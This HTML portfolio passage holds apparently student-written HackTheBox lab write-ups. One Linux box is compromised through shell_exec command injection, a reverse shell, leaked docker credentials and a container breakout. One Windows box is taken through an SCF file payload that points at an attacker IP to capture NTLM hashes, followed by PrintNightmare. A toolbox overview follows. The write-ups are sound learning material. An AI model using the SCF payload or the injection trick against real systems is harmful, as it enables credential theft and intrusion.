@$hash_function($password); ob_end_clean(); return $hash; } try { if(isset($_REQUEST['action'])) { if($_REQUEST['action'] === "verify") { // VERIFIES $password AGAINST $hash if(isset($_REQUEST['hash_function']) && isset($_REQUEST['hash']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); $_SESSION['verify'] = ($hash === $_REQUEST['hash']); header('Location: /home.php?tool=hashing'); return; } } elseif($_REQUEST['action'] === "verify_file") { //TODO: IMPLEMENT FILE VERIFICATION } elseif($_REQUEST['action'] === "hash_file") { //TODO: IMPLEMENT FILE-HASHING } elseif($_REQUEST['action'] === "hash") { // HASHES $password USING $hash_function if(isset($_REQUEST['hash_function']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); if(!isset($_REQUEST['redirect'])) { echo "Result for Hash-function (" . $_REQUEST['hash_function'] . ") and password (" . $_REQUEST['password'] . "):<br>"; echo '<br>' . $hash; return; } else { $_SESSION['hash'] = $hash; header('Location: /home.php?tool=hashing'); return; } } } } // Action not set, ignore throw new Exception(""); } catch(Exception $ex) { if($ex->getMessage() !== "") $_SESSION['error'] = htmlentities($ex->getMessage()); header('Location: /home.php'); return; } ?> </code> </pre> <p>After analyzing the source code it looks like if you send the debug parameter as true and the hashing_function as shell_exec, you can run any shell command you want from the hashing tool. So lets try that.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png" alt=""></a> <p>Looks like it worked now lets try to get a reverse shell.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WWW-DataShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-DataShell.png" alt=""></a> <p>And we're in! I looked in the /etc/passwd and noticed another user named www-adm which looked like the next user I needed. After looking around for a bit and I couldn't find anything I thought what if they reused passwords?</p> <a href="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png" alt=""></a> <p>And they did so now we have www-adm shell. After looking around I noticed a .wgetrc file with some credentials in it. Because it looked like docker was running on the machine I thought http://api:5000/ was my best bet.</p> <a href="img/portfolio/minor/red/htb_linux/WGETAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETAPI.png" alt=""></a> <p>And it was! Apparently there is a check_db endpoint but it required credentials. So I tried to credentials we've just found.</p> <a href="img/portfolio/minor/red/htb_linux/CatCheckDB.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatCheckDB.png" alt=""></a> <p>Looks like JSON but we first need to prettify it to make it more readable.</p> <pre style="text-align: left"> <code class="prettyprint"> { "message":{ "AppArmorProfile":"docker-default", "Args":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Config":{ "AttachStderr":false, "AttachStdin":false, "AttachStdout":false, "Cmd":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Domainname":"", "Entrypoint":[ "docker-entrypoint.sh" ], "Env":[ "MYSQL_DATABASE=db", "MYSQL_USER=drew", "MYSQL_PASSWORD=drew", "MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5", "SERVICE_TAGS=dev", "SERVICE_NAME=mysql", "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "GOSU_VERSION=1.12", "MYSQL_MAJOR=8.0", "MYSQL_VERSION=8.0.25-1debian10" ], "ExposedPorts":{ "3306/tcp":{ }, "33060/tcp":{ } }, "Healthcheck":{ "Interval":5000000000, "Retries":3, "Test":[ "CMD-SHELL", "mysqladmin ping -h 127.0.0.1 --user=$MYSQL_USER -p$MYSQL_PASSWORD --silent" ], "Timeout":2000000000 }, "Hostname":"mysql", "Image":"mysql:latest", "Labels":{ "com.docker.compose.config-hash":"947cb358bc0bb20b87239b0dffe00fd463bd7e10355f6aac2ef1044d8a29e839", "com.docker.compose.container-number":"1", "com.docker.compose.oneoff":"False", "com.docker.compose.project":"app", "com.docker.compose.project.config_files":"docker-compose.yml", "com.docker.compose.project.working_dir":"/root/app", "com.docker.compose.service":"mysql", "com.docker.compose.version":"1.29.1" }, "OnBuild":null, "OpenStdin":false, "StdinOnce":false, "Tty":true, "User":"", "Volumes":{ "/docker-entrypoint-initdb.d":{ }, "/var/lib/mysql":{ } }, "WorkingDir":"" }, "Created":"2021-10-04T06:57:43.698655618Z", "Driver":"overlay2", "ExecIDs":null, "GraphDriver":{ "Data":{ "LowerDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d-init/diff:/var/lib/docker/overlay2/ecc064365b0367fc58ac796d9d5fe020d9453c68e2563f8f6d4682e38231083e/diff:/var/lib/docker/overlay2/4a21c5c296d0e6d06a3e44e3fa4817ab6f6f8c3612da6ba902dc28ffd749ec4d/diff:/var/lib/docker/overlay2/f0cdcc7bddc58609f75a98300c16282d8151ce18bd89c36be218c52468b3a643/diff:/var/lib/docker/overlay2/01e8af3c602aa396e4cb5af2ed211a6a3145337fa19b123f23e36b006d565fd0/diff:/var/lib/docker/overlay2/55b88ae64530676260fe91d4d3e6b0d763165505d3135a3495677cb10de74a66/diff:/var/lib/docker/overlay2/4064491ac251bcc0b677b0f76de7d5ecf0c17c7d64d7a18debe8b5a99e73e127/diff:/var/lib/docker/overlay2/a60c199d618b0f2001f106393236ba394d683a96003a4e35f58f8a7642dbad4f/diff:/var/lib/docker/overlay2/29b638dc55a69c49df41c3f2ec0f90cc584fac031378ae455ed1458a488ec48d/diff:/var/lib/docker/overlay2/ee59a9d7b93adc69453965d291e66c7d2b3e6402b2aef6e77d367da181b8912f/diff:/var/lib/docker/overlay2/4b5204c09ec7b0cbf22d409408529d79a6d6a472b3c4d40261aa8990ff7a2ea8/diff:/var/lib/docker/overlay2/8178a3527c2a805b3c2fe70e179797282bb426f3e73e8f4134bc2fa2f2c7aa22/diff:/var/lib/docker/overlay2/76b10989e43e43406fc4306e789802258e36323f7c2414e5e1242b6eab4bd3eb/diff", "MergedDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/merged", "UpperDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/diff", "WorkDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/work" }, "Name":"overlay2" }, "HostConfig":{ "AutoRemove":false, "Binds":[ "/root/app/scripts/init.d:/docker-entrypoint-initdb.d:ro", "app_vol_mysql:/var/lib/mysql:rw" ], "BlkioDeviceReadBps":null, "BlkioDeviceReadIOps":null, "BlkioDeviceWriteBps":null, "BlkioDeviceWriteIOps":null, "BlkioWeight":0, "BlkioWeightDevice":null, "CapAdd":[ "SYS_NICE" ], "CapDrop":null, "Cgroup":"", "CgroupParent":"", "CgroupnsMode":"host", "ConsoleSize":[ 0, 0 ], "ContainerIDFile":"", "CpuCount":0, "CpuPercent":0, "CpuPeriod":0, "CpuQuota":0, "CpuRealtimePeriod":0, "CpuRealtimeRuntime":0, "CpuShares":0, "CpusetCpus":"", "CpusetMems":"", "DeviceCgroupRules":null, "DeviceRequests":null, "Devices":null, "Dns":null, "DnsOptions":null, "DnsSearch":null, "ExtraHosts":null, "GroupAdd":null, "IOMaximumBandwidth":0, "IOMaximumIOps":0, "IpcMode":"private", "Isolation":"", "KernelMemory":0, "KernelMemoryTCP":0, "Links":null, "LogConfig":{ "Config":{ }, "Type":"json-file" }, "MaskedPaths":[ "/proc/asound", "/proc/acpi", "/proc/kcore", "/proc/keys", "/proc/latency_stats", "/proc/timer_list", "/proc/timer_stats", "/proc/sched_debug", "/proc/scsi", "/sys/firmware" ], "Memory":0, "MemoryReservation":0, "MemorySwap":0, "MemorySwappiness":null, "NanoCpus":0, "NetworkMode":"app_nw", "OomKillDisable":false, "OomScoreAdj":0, "PidMode":"", "PidsLimit":null, "PortBindings":{ }, "Privileged":false, "PublishAllPorts":false, "ReadonlyPaths":[ "/proc/bus", "/proc/fs", "/proc/irq", "/proc/sys", "/proc/sysrq-trigger" ], "ReadonlyRootfs":false, "RestartPolicy":{ "MaximumRetryCount":0, "Name":"always" }, "Runtime":"runc", "SecurityOpt":null, "ShmSize":67108864, "UTSMode":"", "Ulimits":null, "UsernsMode":"", "VolumeDriver":"", "VolumesFrom":[ ] }, "HostnamePath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hostname", "HostsPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hosts", "Id":"47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216", "Image":"sha256:5c62e459e087e3bd3d963092b58e50ae2af881076b43c29e38e2b5db253e0287", "LogPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216-json.log", "MountLabel":"", "Mounts":[ { "Destination":"/docker-entrypoint-initdb.d", "Mode":"ro", "Propagation":"rprivate", "RW":false, "Source":"/root/app/scripts/init.d", "Type":"bind" }, { "Destination":"/var/lib/mysql", "Driver":"local", "Mode":"rw", "Name":"app_vol_mysql", "Propagation":"", "RW":true, "Source":"/var/lib/docker/volumes/app_vol_mysql/_data", "Type":"volume" } ], "Name":"/mysql", "NetworkSettings":{ "Bridge":"", "EndpointID":"", "Gateway":"", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "HairpinMode":false, "IPAddress":"", "IPPrefixLen":0, "IPv6Gateway":"", "LinkLocalIPv6Address":"", "LinkLocalIPv6PrefixLen":0, "MacAddress":"", "Networks":{ "app_nw":{ "Aliases":[ "47c78eb0450f", "mysql" ], "DriverOpts":null, "EndpointID":"50037fb137fd880f88a9efd17eb8cf94bf8142ec263080b4c904afeeaa79aa2e", "Gateway":"172.18.0.1", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "IPAMConfig":{ "IPv4Address":"172.18.0.100" }, "IPAddress":"172.18.0.100", "IPPrefixLen":16, "IPv6Gateway":"", "Links":null, "MacAddress":"02:42:ac:12:00:64", "NetworkID":"021b24b8b3e1e3638463eeb7dc9af59c36cc412578cdf51931a24f04ea6f5532" } }, "Ports":{ "3306/tcp":null, "33060/tcp":null }, "SandboxID":"99cbb57fded2142e5dad46330b43249d2866f8514fb4342d06322f3e3b5c60f1", "SandboxKey":"/var/run/docker/netns/99cbb57fded2", "SecondaryIPAddresses":null, "SecondaryIPv6Addresses":null }, "Path":"docker-entrypoint.sh", "Platform":"linux", "ProcessLabel":"", "ResolvConfPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/resolv.conf", "RestartCount":0, "State":{ "Dead":false, "Error":"", "ExitCode":0, "FinishedAt":"0001-01-01T00:00:00Z", "Health":{ "FailingStreak":0, "Log":[ { "End":"2021-10-04T17:08:01.998027574+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:01.908189033+02:00" }, { "End":"2021-10-04T17:08:07.080804898+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:07.000613396+02:00" }, { "End":"2021-10-04T17:08:12.166584919+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:12.083845791+02:00" }, { "End":"2021-10-04T17:08:17.254375293+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:17.16894306+02:00" }, { "End":"2021-10-04T17:08:22.350400823+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:22.257747436+02:00" } ], "Status":"healthy" }, "OOMKilled":false, "Paused":false, "Pid":1108, "Restarting":false, "Running":true, "StartedAt":"2021-10-04T06:57:47.409835076Z", "Status":"running" } }, "status":200 } </code> </pre> <p>Looks like an username and some passwords lets try those with ssh.</p> <a href="img/portfolio/minor/red/htb_linux/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/UserFlag.png" alt=""></a> <p>We got the user flag! But now we need to find something to escalate our privileges. We could use LinPEAS to try and find something but we first have to get it on this machine.</p> <a href="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WGETLinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETLinpeas.png" alt=""></a> <p>I used SimpleHTTPServer to get LinPeas from my machine to the target machine because the target machine didn't have access to the internet. Now we need to run LinPEAS.</p> <a href="img/portfolio/minor/red/htb_linux/LinpeasMail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasMail.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png" alt=""></a> <p>Looks like LinPEAS found some interesting stuff like a mail message to Drew and the docker ip ranges and a docker folder that is edited regularly.</p> <a href="img/portfolio/minor/red/htb_linux/Mail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Mail.png" alt=""></a> <p>This probably means that the docker folder that gets edited regularly is the folder containing the game. And that some script is running that we could use.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>Looks like we got a public key as game-tester as well. Lets try to login into the docker ips using this public key.</p> <a href="img/portfolio/minor/red/htb_linux/Game-testerShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Game-testerShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png" alt=""></a> <p>And it worked now we got a shell as game-tester as well on a docker container. I noticed that the same docker folder on Drew also exists on the docker container and that they are shared. I also noticed that the docker folder get rewritten entirely so all files inside get removed and replaced before the server is restarted again. Lets see what the script does.</p> <a href="img/portfolio/minor/red/htb_linux/CatNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatNode-server.png" alt=""></a> <p>It runs in a folder called /usr/src/app which doesn't exist on the Drew user but it does on the game-tester container. So lets look at that as well.</p> <a href="img/portfolio/minor/red/htb_linux/CatServerJS.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatServerJS.png" alt=""></a> <p>Look like we can crash the server if we make a POST to autoplay with a decimal instead of an integer. But that doesn't get us anywhere we need to infect the node-server.sh first.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>I found this <a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout">website</a> explaining priv esc with docker so I gave it a try. But I have to be faster than the server can create the node-server.sh in order to infect it. So I created a script.</p> <a href="img/portfolio/minor/red/htb_linux/RogueNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RogueNode-server.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/ExploitLoop.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitLoop.png" alt=""></a> <p>This should create a bash file in /tmp on the game-tester container that is executable by game-tester in order to priv esc. So lets crash the server and try it.</p> <a href="img/portfolio/minor/red/htb_linux/ExploitRun.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitRun.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/CrashGameServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CrashGameServer.png" alt=""></a> <p>I had to give it a few tries in order to succeed because in some cases the server was actually faster than my script.</p> <a href="img/portfolio/minor/red/htb_linux/RootOnDocker.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootOnDocker.png" alt=""></a> <p>And it worked now we need to do the same thing in order to get root on the Drew machine but this time we don't have to worry about speed because we don't need to infect a script, we just have to do it fast enough before all the files inside the folder get deleted again.</p> <a href="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootFlag.png" alt=""></a> <p>That's it! We are root and got the flag!</p> <p>Although it took me quite a while to root this machine it was a really fun one. Containing a lot of different exploits mostly straight from the OWASP top 10 but also some I never heard of before like the docker priv esc.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal22" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Windows Write-up</p> <a href="img/portfolio/minor/red/htb_windows/DriverCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/DriverCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <a href="img/portfolio/minor/red/htb_windows/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/NMapOutput.png" alt=""></a> <p>When navigating to the webpage we are greeted by a login screen. After some searching and not finding anything useful I tried to login with just a default password admin:admin it was a longshot but it worked!</p> <a href="img/portfolio/minor/red/htb_windows/Dashboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/Dashboard.png" alt=""></a> <p>The only button that worked on the website was Firmware updates where you can upload a file. Knowing that SMB was also an open port I found this <a href="https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/">website</a> this could potentially it so lets try it out. </p> <pre style="text-align: left"> <code class="prettyprint"> [Shell] Command=2 Iconfile=\\10.10.14.161\share\test.ico [Taskbar] Command=ToggleDesktop </code> </pre> <a href="img/portfolio/minor/red/htb_windows/ResponderOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ResponderOutput.png" alt=""></a> <p>I created a payload like the example given on the site I found started responder and got a few hits. Now we know the username and maybe the password if we manage to crack it. We know from the responder output that it is a NTLM hash so lets put Hashcat on it and see what we'll get.</p> <a href="img/portfolio/minor/red/htb_windows/HashcatOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/HashcatOutput.png" alt=""></a> <p>Hashcat cracked the password with ease and now we can take a look at the SMB folder to see if we can find anything interesting.</p> <a href="img/portfolio/minor/red/htb_windows/SMBMap.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SMBMap.png" alt=""></a> <p>We didn't find anything interesting but knowing from the NMap output we also know that the RDP port is open so maybe it uses the same password.</p> <a href="img/portfolio/minor/red/htb_windows/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/UserFlag.png" alt=""></a> <p>This was indeed the case and now we already have the user flag. For priv esc running at least WinPEAS is a no-brainer. So I used SimpleHTTPServer to get WinPEAS on the target machine.</p> <a href="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/WgetWinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetWinpeas.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png" alt=""></a> <p>Really the only interesting thing WinPEAS found was a Print spooler process. After some Googling I stubled across <a href="https://github.com/calebstewart/CVE-2021-1675">this</a> CVE. So lets get that exploit on the target machine in the same way we did with WinPEAS.</p> <a href="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png" alt=""></a> <p>I wasn't able to run the script because of some permission issues, but after some Googling I found out I could just set the policy to unrestricted.</p> <a href="img/portfolio/minor/red/htb_windows/RunExploit.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RunExploit.png" alt=""></a> <p>I ran the exploit and it created a new administrator account for me with a username and password that I chose and know. Now the only thing that's left is just to logout as this user and login with our new user.</p> <a href="img/portfolio/minor/red/htb_windows/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RootFlag.png" alt=""></a> <p>And that's it! We have the root flag! This box wasn't that hard but still fun and sometimes challenging due to my lack of knowledge of Windows hacking. Overall a fun learning experience.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal24" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal25" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">My personal pen-testing toolboxes</p> <p>Like every other profession good tools make a world of difference on the quality and efficiency of the end product. This isn't any different with cyber security. Good tools can improve results providing you with more information and helping with getting to the results faster.</p> <h3>On the road</h3> <a href="img/portfolio/minor/red/kalilinux.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/kalilinux.jpg" alt=""></a> <p>On the road when I'm on my laptop I like to use Kali Linux. It's just convenient that it comes pre-loaded with all the tools you need, and it runs fairly lightweight on older laptops. The "kali-undercover" command is also a fun little gimmick that changes your Kali desktop to a Windows clone which for a random passer by looks just like a regular Windows machine. Making it incognito to use Kali whenever you're in a public space and want to keep a low profile.</p> <h3>At home</h3> <a href="img/portfolio/minor/red/parrotos.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/parrotos.jpg" alt=""></a> <p>At home on my main desktop PC I recently switched to natively running ParrotOS. This was because I liked to try something new and the reviews were good. It comes pre-loaded with the same tools as kali and a few extra tools like diverting all traffic trough tor making the machine even more anonymous. The user experience is a little better and just overall a good looking distro. This comes at a cost because it takes more resources to run. This isn't a problem on my PC because it's quite powerful and I don't have to think about battery life. Alongside ParrotOS I run a Windows VM in qemu with WinApps running on Linux which enables me to run any Windows application I want on Linux. I mostly use it for Microsoft Office products.</p> <h3>Cloud</h3> <a href="img/portfolio/minor/red/googlecloudconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/googlecloudconsole.PNG" alt=""></a> <p>Google cloud console is an awesome way to always have a Linux machine at your disposal where ever you are. It's fully cloud based and free to use. So when you're in need of a Linux terminal and you have access to a browser you're set. The only downside is that the machine is volatile so when you shut it down it is gone. This requires you to always re-install tools and such. Luckily due to it running on Google cloud it is pretty fast. Just overall a good tool to know about.</p> <a href="img/portfolio/minor/red/guacamole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamole.PNG" alt=""></a> <p>Now Guacamole is kinda like Google cloud console, but it's self-hosted. It can turn any machine with a SSH server into a cloud based web terminal accessible from any browser where ever you are. It takes a little time and effort to set it up but it is worth it. All the benefits from Google cloud console but your data is hosted by you and it is saved. In my case I installed Kali Linux on a docker server and now I can access it whenever I need to it doesn't matter if I'm on Windows, Linux or even my phone.</p> <a href="img/portfolio/minor/red/guacamoleconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamoleconsole.PNG" alt=""></a> <h3>Windows</h3> <a href="img/portfolio/minor/red/wsl.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/wsl.jpg" alt=""></a> <p>Whenever I'm using Windows and need to do a quick little task that requires Linux I don't want to reboot and boot into Linux because it's a hassle. That's when I use WSL. WSL stands for Windows Subsystem for Linux and it works great. It's not everything for example network related stuff is not possible due to WSL not having direct access to the network card but for other simple stuff it works great. And if I need to do a quick little scan I can use the Windows version of NMap. And if I need a little more functionality I can always use the before mentioned Guacamole to have instant access to a fully functional Kali instance in my browser.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal26" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div 